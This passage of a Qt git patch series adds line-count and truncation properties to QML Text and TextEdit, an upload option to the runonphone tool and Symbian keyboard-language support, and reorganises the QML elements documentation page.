QTextLine line = layout.createLine(); + if (!line.isValid()) + break; + + visibleCount++; + + if (lineWidth) { + if (--linesLeft == 0) { + line.setLineWidth(q->width()*2); // Set out more than is required, but not too much. + if (line.naturalTextWidth() > lineWidth) + line.setLineWidth(lineWidth - elideWidth); + visibleTextLength += line.textLength(); // Used to catch new lines that are shorter than the layout width. + + if (visibleTextLength < text.length()) { + truncate = true; + if (elideMode==QDeclarativeText::ElideRight) { + // Need to correct for alignment + int x = line.naturalTextWidth(); + if (hAlign == QDeclarativeText::AlignRight) { + x = q->width()-elideWidth; + } else if (hAlign == QDeclarativeText::AlignHCenter) { + x = (q->width()+line.naturalTextWidth()-elideWidth)/2; + } + elidePos = QPointF(x, y + fm.ascent()); + } + } + } else { + line.setLineWidth(lineWidth); + visibleTextLength += line.textLength(); + } + + y += line.height(); + } + } + layout.endLayout(); - if (lineWidth) - line.setLineWidth(lineWidth); + //Update truncated + if (truncated != truncate) { + truncated = truncate; + emit q->truncatedChanged(); + } + } else { + layout.beginLayout(); + forever { + QTextLine line = layout.createLine(); + if (!line.isValid()) + break; + visibleCount++; + if (lineWidth) + line.setLineWidth(lineWidth); + } + layout.endLayout(); } - layout.endLayout(); for (int i = 0; i < layout.lineCount(); ++i) { QTextLine line = layout.lineAt(i); @@ -331,13 +395,23 @@ QSize QDeclarativeTextPrivate::setupTextLayout() x = 0; } else if (hAlign == QDeclarativeText::AlignRight) { x = layoutWidth - line.naturalTextWidth(); + if (elideText && i == layout.lineCount()-1) + x -= elideWidth; // Correct for when eliding multilines } else if (hAlign == QDeclarativeText::AlignHCenter) { x = (layoutWidth - line.naturalTextWidth()) / 2; + if (elideText && i == layout.lineCount()-1) + x -= elideWidth/2; // Correct for when eliding multilines } line.setPosition(QPointF(x, line.y())); } } + //Update the number of visible lines + if (lineCount != visibleCount) { + lineCount = visibleCount; + emit q->lineCountChanged(); + } + return layout.boundingRect().toAlignedRect().size(); } @@ -391,7 +465,9 @@ void QDeclarativeTextPrivate::drawTextLayout(QPainter *painter, const QPointF &p else painter->setPen(color); painter->setFont(font); - layout.draw(painter, pos); + layout.draw(painter, pos); + if (!elidePos.isNull()) + painter->drawText(elidePos, elideChar); } /*! @@ -979,6 +1055,76 @@ void QDeclarativeText::setWrapMode(WrapMode mode) emit wrapModeChanged(); } +/*! + \qmlproperty int Text::lineCount + + Returns the number of lines visible in the text item. + + This property is not supported for rich text. + + \sa maximumLineCount +*/ +int QDeclarativeText::lineCount() const +{ + Q_D(const QDeclarativeText); + return d->lineCount; +} + +/*! + \qmlproperty bool Text::truncated + + Returns if the text has been truncated due to \l maximumLineCount + or \l elide. + + This property is not supported for rich text. + + \sa maximumLineCount, elide +*/ +bool QDeclarativeText::truncated() const +{ + Q_D(const QDeclarativeText); + return d->truncated; +} + +/*! + \qmlproperty int Text::maximumLineCount + + Set this property to limit the number of lines that the text item will show. + If elide is set to Text.ElideRight, the text will be elided appropriately. + By default, this is the value of the largest possible integer. + + This property is not supported for rich text. + + \sa lineCount, elide +*/ +int QDeclarativeText::maximumLineCount() const +{ + Q_D(const QDeclarativeText); + return d->maximumLineCount; +} + +void QDeclarativeText::setMaximumLineCount(int lines) +{ + Q_D(QDeclarativeText); + + d->maximumLineCountValid = lines==INT_MAX ? false : true; + if (d->maximumLineCount != lines) { + d->maximumLineCount = lines; + d->updateLayout(); + emit maximumLineCountChanged(); + } +} + +void QDeclarativeText::resetMaximumLineCount() +{ + Q_D(QDeclarativeText); + setMaximumLineCount(INT_MAX); + d->elidePos = QPointF(); + if (d->truncated != false) { + d->truncated = false; + emit truncatedChanged(); + } +} /*! \qmlproperty enumeration Text::textFormat @@ -1066,7 +1212,7 @@ void QDeclarativeText::setTextFormat(TextFormat format) Set this property to elide parts of the text fit to the Text item's width. The text will only elide if an explicit width has been set. - This property cannot be used with multi-line text or with rich text. + This property cannot be used with rich text. Eliding can be: \list @@ -1076,6 +1222,9 @@ void QDeclarativeText::setTextFormat(TextFormat format) \o Text.ElideRight \endlist + If this property is set to Text.ElideRight, it can be used with multiline + text. The text will only elide if maximumLineCount has been set. + If the text is a multi-length string, and the mode is not \c Text.ElideNone, the first string that fits will be used, otherwise the last will be elided. @@ -1153,7 +1302,7 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF & && (d->wrapMode != QDeclarativeText::NoWrap || d->elideMode != QDeclarativeText::ElideNone || d->hAlign != QDeclarativeText::AlignLeft)) { - if (d->singleline && d->elideMode != QDeclarativeText::ElideNone && widthValid()) { + if ((d->singleline || d->maximumLineCountValid) && d->elideMode != QDeclarativeText::ElideNone && widthValid()) { // We need to re-elide d->updateLayout(); } else { diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h index 49bff14..2e19910 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h @@ -71,6 +71,10 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged) Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged) Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged) + Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged) + Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged) + Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount) + Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged) Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode? Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged) @@ -131,6 +135,13 @@ public: WrapMode wrapMode() const; void setWrapMode(WrapMode w); + int lineCount() const; + bool truncated() const; + + int maximumLineCount() const; + void setMaximumLineCount(int lines); + void resetMaximumLineCount(); + TextFormat textFormat() const; void setTextFormat(TextFormat format); @@ -158,6 +169,9 @@ Q_SIGNALS: void horizontalAlignmentChanged(HAlignment alignment); void verticalAlignmentChanged(VAlignment alignment); void wrapModeChanged(); + void lineCountChanged(); + void truncatedChanged(); + void maximumLineCountChanged(); void textFormatChanged(TextFormat textFormat); void elideModeChanged(TextElideMode mode); void paintedSizeChanged(); diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h index e37f477..42c815b 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h @@ -88,6 +88,13 @@ public: QDeclarativeText::TextElideMode elideMode; QDeclarativeText::TextFormat format; QDeclarativeText::WrapMode wrapMode; + int lineCount; + bool truncated; + int maximumLineCount; + int maximumLineCountValid; + QPointF elidePos; + + static QString elideChar; void invalidateImageCache(); void checkImageCache(); diff --git a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml new file mode 100644 index 0000000..b3d7bc1 --- /dev/null +++ b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml @@ -0,0 +1,15 @@ +import QtQuick 1.0 + +Item { + width: 200 + height: 200 + + Text { + id: myText + objectName: "myText" + width: 200 + wrapMode: Text.WordWrap + maximumLineCount: undefined + text: "Testing that maximumLines, visibleLines, and totalLines works properly in the autotests. The quick brown fox jumped over the lazy anything with the letter 'g'." + } +} diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp index d6c37ae..ca23c9f 100644 --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp @@ -49,6 +49,7 @@ #include #include #include +#include #include "../../../shared/util.h" #include "testhttpserver.h" @@ -78,6 +79,8 @@ private slots: void embeddedImages_data(); void embeddedImages(); + void lineCount(); + // ### these tests may be trivial void horizontalAlignment(); void verticalAlignment(); @@ -1020,6 +1023,33 @@ void tst_qdeclarativetext::embeddedImages() } } +void tst_qdeclarativetext::lineCount() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/lineCount.qml"); + + QDeclarativeText *myText = canvas->rootObject()->findChild("myText"); + QVERIFY(myText != 0); + + QVERIFY(myText->lineCount() > 1); + QVERIFY(!myText->truncated()); + QCOMPARE(myText->maximumLineCount(), INT_MAX); + + myText->setMaximumLineCount(2); + QCOMPARE(myText->lineCount(), 2); + QCOMPARE(myText->truncated(), true); + QCOMPARE(myText->maximumLineCount(), 2); + + myText->resetMaximumLineCount(); + QCOMPARE(myText->maximumLineCount(), INT_MAX); + QCOMPARE(myText->truncated(), false); + + myText->setElideMode(QDeclarativeText::ElideRight); + myText->setMaximumLineCount(2); + QCOMPARE(myText->lineCount(), 2); + QCOMPARE(myText->truncated(), true); + QCOMPARE(myText->maximumLineCount(), 2); +} + QTEST_MAIN(tst_qdeclarativetext) #include "tst_qdeclarativetext.moc" -- cgit v0.12 From 82c0594ef35dbe9520da2f5e0900385c68f1cba5 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 14 Jan 2011 15:05:35 +1000 Subject: Add lineCount property to QDeclarativeTextEdit The lineCount property should return the number of lines contained in textEdit. Also corrected minor documentation in Text Task-number: QTBUG-12305 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetext.cpp | 2 +- .../graphicsitems/qdeclarativetextedit.cpp | 33 ++++++++++++++++++++++ .../graphicsitems/qdeclarativetextedit_p.h | 5 ++++ .../graphicsitems/qdeclarativetextedit_p_p.h | 1 + 4 files changed, 40 insertions(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index d61342e..3911d65 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -1073,7 +1073,7 @@ int QDeclarativeText::lineCount() const /*! \qmlproperty bool Text::truncated - Returns if the text has been truncated due to \l maximumLineCount + Returns true if the text has been truncated due to \l maximumLineCount or \l elide. This property is not supported for rich text. diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index c1c7a0c..1539998 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -51,6 +51,7 @@ #include #include #include +#include #include #include #include @@ -527,6 +528,17 @@ void QDeclarativeTextEdit::setWrapMode(WrapMode mode) } /*! + \qmlproperty int TextEdit::lineCount + + Returns the total number of lines in the textEdit item. +*/ +int QDeclarativeTextEdit::lineCount() const +{ + Q_D(const QDeclarativeTextEdit); + return d->lineCount; +} + +/*! \qmlproperty real TextEdit::paintedWidth Returns the width of the text, including the width past the width @@ -1376,6 +1388,7 @@ void QDeclarativeTextEdit::q_textChanged() Q_D(QDeclarativeTextEdit); d->text = text(); updateSize(); + updateTotalLines(); updateMicroFocus(); emit textChanged(d->text); } @@ -1487,6 +1500,26 @@ void QDeclarativeTextEdit::updateSize() emit update(); } +void QDeclarativeTextEdit::updateTotalLines() +{ + Q_D(QDeclarativeTextEdit); + + int subLines = 0; + + for (QTextBlock it = d->document->begin(); it != d->document->end(); it = it.next()) { + QTextLayout *layout = it.layout(); + if (!layout) + continue; + subLines += layout->lineCount()-1; + } + + int newTotalLines = d->document->lineCount() + subLines; + if (d->lineCount != newTotalLines) { + d->lineCount = newTotalLines; + emit lineCountChanged(); + } +} + void QDeclarativeTextEditPrivate::updateDefaultTextOption() { QTextOption opt = document->defaultTextOption(); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 3e86a05..928d100 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -75,6 +75,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged) Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged) Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged) + Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged) Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged) Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged) Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged) @@ -156,6 +157,8 @@ public: WrapMode wrapMode() const; void setWrapMode(WrapMode w); + int lineCount() const; + bool isCursorVisible() const; void setCursorVisible(bool on); @@ -220,6 +223,7 @@ Q_SIGNALS: void horizontalAlignmentChanged(HAlignment alignment); void verticalAlignmentChanged(VAlignment alignment); void wrapModeChanged(); + void lineCountChanged(); void textFormatChanged(TextFormat textFormat); void readOnlyChanged(bool isReadOnly); void cursorVisibleChanged(bool isCursorVisible); @@ -250,6 +254,7 @@ private Q_SLOTS: private: void updateSize(); + void updateTotalLines(); protected: virtual void geometryChanged(const QRectF &newGeometry, diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h index 4092e65..45d342f 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h @@ -118,6 +118,7 @@ public: QTextDocument *document; QTextControl *control; QDeclarativeTextEdit::WrapMode wrapMode; + int lineCount; bool selectByMouse; int yoff; }; -- cgit v0.12 From d4479f37edd5d38455399d31799de57aa08e62e3 Mon Sep 17 00:00:00 2001 From: "Thiago Marcos P. Santos" Date: Fri, 14 Jan 2011 10:30:39 +0200 Subject: No longer copy the executable file to phone by default The user needs to explicitly use -u or --upload to do that. Task-number: QTBUG-16625 Merge-request: 2548 Signed-off-by: axis --- tools/runonphone/main.cpp | 31 ++++++++++++++++++++++++++----- 1 file changed, 26 insertions(+), 5 deletions(-) diff --git a/tools/runonphone/main.cpp b/tools/runonphone/main.cpp index 93b087b..618e401 100644 --- a/tools/runonphone/main.cpp +++ b/tools/runonphone/main.cpp @@ -62,6 +62,7 @@ void printUsage(QTextStream& outstream, QString exeName) << "-t, --timeout terminate test if timeout occurs" << endl << "-v, --verbose show debugging output" << endl << "-q, --quiet hide progress messages" << endl + << "-u, --upload upload executable file to phone" << endl << "-d, --download copy file from phone to PC after running test" << endl << "--nocrashlog Don't capture call stack if test crashes" << endl << "--crashlogpath Path to save crash logs (default=working dir)" << endl @@ -84,6 +85,7 @@ int main(int argc, char *argv[]) QStringList args = QCoreApplication::arguments(); QTextStream outstream(stdout); QTextStream errstream(stderr); + QString uploadLocalFile; QString downloadRemoteFile; QString downloadLocalFile; int loglevel=1; @@ -112,6 +114,18 @@ int main(int argc, char *argv[]) return 1; } } + else if (arg == "--upload" || arg == "-u") { + CHECK_PARAMETER_EXISTS + uploadLocalFile = it.next(); + if (!QFileInfo(uploadLocalFile).exists()) { + errstream << "Executable file (" << uploadLocalFile << ") doesn't exist" << endl; + return 1; + } + if (!(QFileInfo(uploadLocalFile).suffix() == "exe")) { + errstream << "File (" << uploadLocalFile << ") must be an executable" << endl; + return 1; + } + } else if (arg == "--download" || arg == "-d") { CHECK_PARAMETER_EXISTS downloadRemoteFile = it.next(); @@ -147,12 +161,18 @@ int main(int argc, char *argv[]) } } - if (exeFile.isEmpty() && sisFile.isEmpty() && + if (exeFile.isEmpty() && sisFile.isEmpty() && uploadLocalFile.isEmpty() && (downloadLocalFile.isEmpty() || downloadRemoteFile.isEmpty())) { printUsage(outstream, args[0]); return 1; } + if (!uploadLocalFile.isEmpty() && (!downloadLocalFile.isEmpty() || !downloadRemoteFile.isEmpty())) { + errstream << "Upload option can't be used together with download" << endl; + printUsage(outstream, args[0]); + return 1; + } + if (serialPortName.isEmpty()) { if (loglevel > 0) outstream << "Detecting serial ports" << endl; @@ -182,19 +202,20 @@ int main(int argc, char *argv[]) QScopedPointer launcher; launcher.reset(new trk::Launcher(trk::Launcher::ActionPingOnly)); - QFileInfo info(exeFile); + QFileInfo exeInfo(exeFile); + QFileInfo uploadInfo(uploadLocalFile); if (!sisFile.isEmpty()) { launcher->addStartupActions(trk::Launcher::ActionCopyInstall); launcher->setCopyFileName(sisFile, "c:\\data\\testtemp.sis"); launcher->setInstallFileName("c:\\data\\testtemp.sis"); } - else if (info.exists()) { + else if (!uploadLocalFile.isEmpty() && uploadInfo.exists()) { launcher->addStartupActions(trk::Launcher::ActionCopy); - launcher->setCopyFileName(exeFile, QString("c:\\sys\\bin\\") + info.fileName()); + launcher->setCopyFileName(uploadLocalFile, QString("c:\\sys\\bin\\") + uploadInfo.fileName()); } if (!exeFile.isEmpty()) { launcher->addStartupActions(trk::Launcher::ActionRun); - launcher->setFileName(QString("c:\\sys\\bin\\") + info.fileName()); + launcher->setFileName(QString("c:\\sys\\bin\\") + exeInfo.fileName()); launcher->setCommandLineArgs(cmdLine); } if (!downloadRemoteFile.isEmpty() && !downloadLocalFile.isEmpty()) { -- cgit v0.12 From 003995384b06d3663c3a9c42a97c32f960a8e92f Mon Sep 17 00:00:00 2001 From: "Thiago Marcos P. Santos" Date: Fri, 14 Jan 2011 11:15:58 +0200 Subject: Help message clarification Merge-request: 2548 Signed-off-by: axis --- tools/runonphone/main.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/runonphone/main.cpp b/tools/runonphone/main.cpp index 618e401..e2346fa 100644 --- a/tools/runonphone/main.cpp +++ b/tools/runonphone/main.cpp @@ -56,7 +56,7 @@ void printUsage(QTextStream& outstream, QString exeName) { outstream << exeName << " [options] [program] [program arguments]" << endl - << "-s, --sis specify sis file to install" << endl + << "-s, --sis specify sis file to install" << endl << "-p, --portname specify COM port to use by device name" << endl << "-f, --portfriendlyname specify COM port to use by friendly name" << endl << "-t, --timeout terminate test if timeout occurs" << endl -- cgit v0.12 From 32f3fcd9ab19f66cb435e6a8830ce54ccf13885a Mon Sep 17 00:00:00 2001 From: axis Date: Mon, 3 Jan 2011 11:54:35 +0100 Subject: Added Symbian implementation of keyboard language functions. More specifically, QApplication::keyboardInputLocale() and QApplication::keyboardInputDirection(). Task: QTBUG-15600 RevBy: Sami Merila --- src/gui/kernel/qapplication_s60.cpp | 9 +++++++++ src/gui/kernel/qkeymapper_p.h | 1 + src/gui/kernel/qkeymapper_s60.cpp | 32 ++++++++++++++++++++++++++++++++ 3 files changed, 42 insertions(+) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index 7f157a1..3df40d7 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1546,6 +1546,8 @@ void qt_init(QApplicationPrivate * /* priv */, int) repository = 0; #endif + qt_keymapper_private()->updateInputLanguage(); + #ifdef QT_KEYPAD_NAVIGATION if (touch) { QApplicationPrivate::navigationMode = Qt::NavigationModeNone; @@ -2086,6 +2088,13 @@ int QApplicationPrivate::symbianProcessWsEvent(const QSymbianEvent *symbianEvent } break; #endif + +#ifdef Q_WS_S60 + case KEikInputLanguageChange: + qt_keymapper_private()->updateInputLanguage(); + break; +#endif + default: break; } diff --git a/src/gui/kernel/qkeymapper_p.h b/src/gui/kernel/qkeymapper_p.h index 38f141e..98d8eec 100644 --- a/src/gui/kernel/qkeymapper_p.h +++ b/src/gui/kernel/qkeymapper_p.h @@ -213,6 +213,7 @@ public: int mapS60ScanCodesToQt(TUint s60key); int mapQtToS60Key(int qtKey); int mapQtToS60ScanCodes(int qtKey); + void updateInputLanguage(); #endif }; diff --git a/src/gui/kernel/qkeymapper_s60.cpp b/src/gui/kernel/qkeymapper_s60.cpp index d019c0f..c3a2c51 100644 --- a/src/gui/kernel/qkeymapper_s60.cpp +++ b/src/gui/kernel/qkeymapper_s60.cpp @@ -40,7 +40,11 @@ ****************************************************************************/ #include "private/qkeymapper_p.h" +#include #include +#include +#include +#include QT_BEGIN_NAMESPACE @@ -214,4 +218,32 @@ int QKeyMapperPrivate::mapQtToS60ScanCodes(int qtKey) } return res; } + +void QKeyMapperPrivate::updateInputLanguage() +{ +#ifdef Q_WS_S60 + TInt err; + CRepository *repo; + const TUid KCRUidAknFep = TUid::Uid(0x101F876D); + const TUint32 KAknFepInputTxtLang = 0x00000005; + TRAP(err, repo = CRepository::NewL(KCRUidAknFep)); + if (err != KErrNone) + return; + + TInt symbianLang; + err = repo->Get(KAknFepInputTxtLang, symbianLang); + delete repo; + if (err != KErrNone) + return; + + QString qtLang = QString::fromAscii(qt_symbianLocaleName(symbianLang)); + keyboardInputLocale = QLocale(qtLang); + keyboardInputDirection = (TBidiText::ScriptDirectionality(TLanguage(symbianLang)) == TBidiText::ERightToLeft) + ? Qt::RightToLeft : Qt::LeftToRight; +#else + keyboardInputLocale = QLocale(); + keyboardInputDirection = Qt::LeftToRight; +#endif +} + QT_END_NAMESPACE -- cgit v0.12 From c9045e9f65f9fb5072825fb49e56f6db8197a917 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jan-Arve=20S=C3=A6ther?= Date: Fri, 14 Jan 2011 13:38:02 +0100 Subject: Revert "Add a warning about trying to release a timer ID that isn't active" This reverts commit e1955231478df8990cf8b1f80438abf957c5d6f2. In a patch release this is the best way of fixing the problem of warnings. This will be fixed properly in 4.8 Reviewed-by: Gabriel Task-number: QTBUG-16175 --- src/corelib/kernel/qeventdispatcher_unix.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp index b2ccc68..f50994c 100644 --- a/src/corelib/kernel/qeventdispatcher_unix.cpp +++ b/src/corelib/kernel/qeventdispatcher_unix.cpp @@ -501,7 +501,6 @@ bool QTimerInfoList::unregisterTimer(int timerId) } } // id not found - qWarning("Application asked to unregister timer 0x%x which is not registered in this thread. Fix application.", timerId); return false; } -- cgit v0.12 From 8a0cee48afcc72361785a0cc1f68cf3f3bcbb564 Mon Sep 17 00:00:00 2001 From: Jerome Pasion Date: Fri, 14 Jan 2011 14:21:17 +0100 Subject: Changed the QML Elements page groupings. Task-number: QTBUG-16071 Reviewed-by: David Boddie --- doc/src/declarative/elements.qdoc | 269 ++++++++++++++++++++++---------------- 1 file changed, 156 insertions(+), 113 deletions(-) diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index eaa6a82..698a277 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -29,118 +29,161 @@ \page qdeclarativeelements.html \target elements \title QML Elements - \brief A dictionary of standard QML elements. - - This is a dictionary of all standard QML elements made available - in the Qt Declarative module. - - To see the QML elements listed by functional area, see the - \l{Groups Of Related QML Elements} page. - - \table - \header \o {2,1} \bold {Basic Visual Items} - \row \o \l {Item} \o Basic item element inherited by all visual items in QML - \row \o \l {Rectangle} \o Basic visual rectangle element - \row \o \l {Gradient} \o Defines a gradient between two or more colors - \row \o \l {GradientStop} \o Defines a color used in a \l {Gradient} - \row \o \l {Image} \o Allows the use of bitmaps to a scene - \row \o \l {BorderImage} (Item-specific) \o Defines an image as a border - \row \o \l {AnimatedImage} \o For playing animations stored as a series of frames - \row \o \l {Text} \o Allows the use of formatted text in a scene - \row \o \l {TextInput} \o Displays an editable line of text - \row \o \l {IntValidator} \o Validator for integer values - \row \o \l {DoubleValidator} \o Validator for non-integer values - \row \o \l {RegExpValidator} \o Validator for string regular expressions - \row \o \l {TextEdit} \o Displays multiple lines of editable formatted text - - \header \o {2,1} \bold {Basic Interaction Items} - \row \o \l {MouseArea} \o Handles mouse interactions - \row \o \l {FocusScope} \o For keyboard focus handling - \row \o \l {Flickable} \o Provides a surface that can be "flicked" - \row \o \l {Flipable} \o Provides a surface that produces flipping effects - \row \o \l {GestureArea} (experimental) \o Enables simple gesture handling - - \header \o {2,1} \bold {States} - \row \o \l {State} \o Defines sets of configurations of objects and properties - \row \o \l {PropertyChanges} \o Describes property changes within a state - \row \o \l {StateGroup} \o Contains a set of states and state transitions - \row \o \l {StateChangeScript} \o Allows script binding in a state - \row \o \l {ParentChange} (Item-specific) \o Re-parent an Item in a state change - \row \o \l {AnchorChanges} \o Change the anchors of an item in a state - - \header \o {2,1} \bold {Animation and Transitions} - \row \o \l {Behavior} \o Specifies a default animation for property changes - \row \o \l {SequentialAnimation} \o Runs animations sequentially - \row \o \l {ParallelAnimation} \o Runs animations in parallel - \row \o \l {PropertyAnimation} \o Animates property changes - \row \o \l {NumberAnimation} \o Animates properties of type qreal - \row \o \l {Vector3dAnimation} \o Animates properties of type QVector3d - \row \o \l {ColorAnimation} \o Animates color changes - \row \o \l {RotationAnimation} \o Animates rotations - \row \o \l {ParentAnimation} \o Animates parent changes - \row \o \l {AnchorAnimation} \o Animates anchor changes - \row \o \l {PauseAnimation} \o Pauses an animation - \row \o \l {SmoothedAnimation} \o Allows a property to smoothly track a value - \row \o \l {SpringAnimation} \o Allows a property to track a value in a spring-like motion - \row \o \l {PropertyAction} \o Sets immediate property changes during animation - \row \o \l {ScriptAction} \o Runs scripts during an animation - \row \o \l {Transition} \o Animates transitions during state changes - - \header \o {2,1} \bold {Working with Data} - \row \o \l {Binding} \o Binds any value to any property - \row \o \l {ListModel} \o Defines a list of data - \row \o \l {ListElement} \o Defines a data item in a \l {ListModel} - \row \o \l {VisualItemModel} \o Contains items that already defines its own visual delegate - \row \o \l {VisualDataModel} \o Encapsulates a model and a delegate - \row \o \l {Package} \o Collection that enables sharing of items within different views - \row \o \l {XmlListModel} \o Specifies a model using XPath expressions - \row \o \l {XmlRole} \o Specifies a role for an \l {XmlListModel} - - \header \o {2,1} \bold {Views} - \row \o \l {ListView} \o Provides a list visualization of a model - \row \o \l {GridView} \o Provides a grid visualization of a model - \row \o \l {PathView} \o Visualizes a model's contents along a path - \row \o \l {Path} \o Defines a path used by \l {PathView} - \row \o \l {PathLine} \o Defines a line in \l {Path} - \row \o \l {PathQuad} \o Defines a quadratic Bezier curve in a \l {Path} - \row \o \l {PathCubic} \o Defines a cubic Bezier curve in a \l {Path} - \row \o \l {PathAttribute} \o Allows the setting of attributes along a \l {Path} - \row \o \l {PathPercent} \o Modifies the item distribution along a \l {Path} - \row \o \l {WebView} \o Allows the addition of web content to a canvas - - \header \o {2,1} \bold {Positioners} - \row \o \l {Column} \o Arranges its children vertically - \row \o \l {Row} \o Arranges its children horizontally - \row \o \l {Grid} \o Positions its children in a grid - \row \o \l {Flow} \o Positions its children with wrapping support - - \header \o {2,1} \bold {Utility} - \row \o \l {Connections} \o Explicitly connects signals and signal handlers - \row \o \l {Component} \o Encapsulate QML items as a component - \row \o \l {Timer} \o Provides timed triggers - \row \o \l {QML:QtObject} {QtObject} \o Basic element containing only the objectName property - \row \o \l {QML:Qt} {Qt} \o The QML global Qt object provides useful enums and functions from Qt. - \row \o \l {WorkerScript} \o Enables the use of threads in QML - \row \o \l {Loader} \o Controls the loading of items or components - \row \o \l {Repeater} \o Uses a model to create multiples of components - \row \o \l {SystemPalette} \o Provides access to the Qt palettes - \row \o \l {FontLoader} \o Loads fonts by name or URL - \row \o \l {LayoutItem} \o Allows declarative UI elements inside Qt's Graphics View layouts - - \header \o {2,1} \bold {Transforms} - \row \o \l {Scale} \o Assigns item scaling behaviors - \row \o \l {Rotation} \o Assigns item rotation behaviors - \row \o \l {Translate} \o Assigns item translation behaviors - - \header \o {2,1} \bold {Effects} - \row \o \l {Particles} (experimental) \o Generates and animates particles - \row \o \l {ParticleMotionLinear} \o Adds linear motion behavior to \l {Particles} - \row \o \l {ParticleMotionGravity} \o Adds gravitational motion to \l {Particles} - \row \o \l {ParticleMotionWander} \o Adds varied motions to \l {Particles} - \endtable - - - + \brief A listing of standard QML elements. + +These are the functionally grouped lists of QML elements. + +Elements are declared with the their name and two curly braces. Elements may +be nested in elements, thereby creating a parent-child relationship between the +two elements. + +To see the QML elements listed by functional area, see the +\l{Groups Of Related QML Elements} page. + +\section1 Basic QML Elements +\list +\o \l {Item} - Basic item element inherited by QML elements +\o \l {Component} - Encapsulates QML elements during importing +\o \l {QML:QtObject} {QtObject} - Basic element containing only the objectName property +\endlist + +\section1 Graphics +\list +\o \l {Rectangle} - A rectangle element +\o \l {Image} - For incorporating bitmaps into a scene +\o \l {BorderImage} - Allows the use of images as borders +\o \l {AnimatedImage} - For playing animations stored in a series of frames +\o \l {Gradient} - For defining a color gradient +\o \l {GradientStop} - Used to define a color within a \l {Gradient} +\o \l {SystemPalette} - Provides access to the Qt palettes +\endlist + +\section1 Text Handling +\list +\o \l {Text} - For inserting formatted text into a scene +\o \l {TextInput} - Captures user key input +\o \l {TextEdit} - Displays multiple lines of editable formatted text +\o \l {IntValidator} - Validates values as integers +\o \l {DoubleValidator} - Validates real values +\o \l {RegExpValidator} - Validator for string regular expressions +\o \l {FontLoader} - Loads fonts by name or URL +\endlist + +\section1 Mouse and Interaction Area +\list +\o \l {MouseArea} - Sets up an area for mouse interaction +\o \l {Keys} - Provides components with attached properties to handle key input. +\o \l {FocusScope} - Element that mediate keyboard focus changes +\o \l 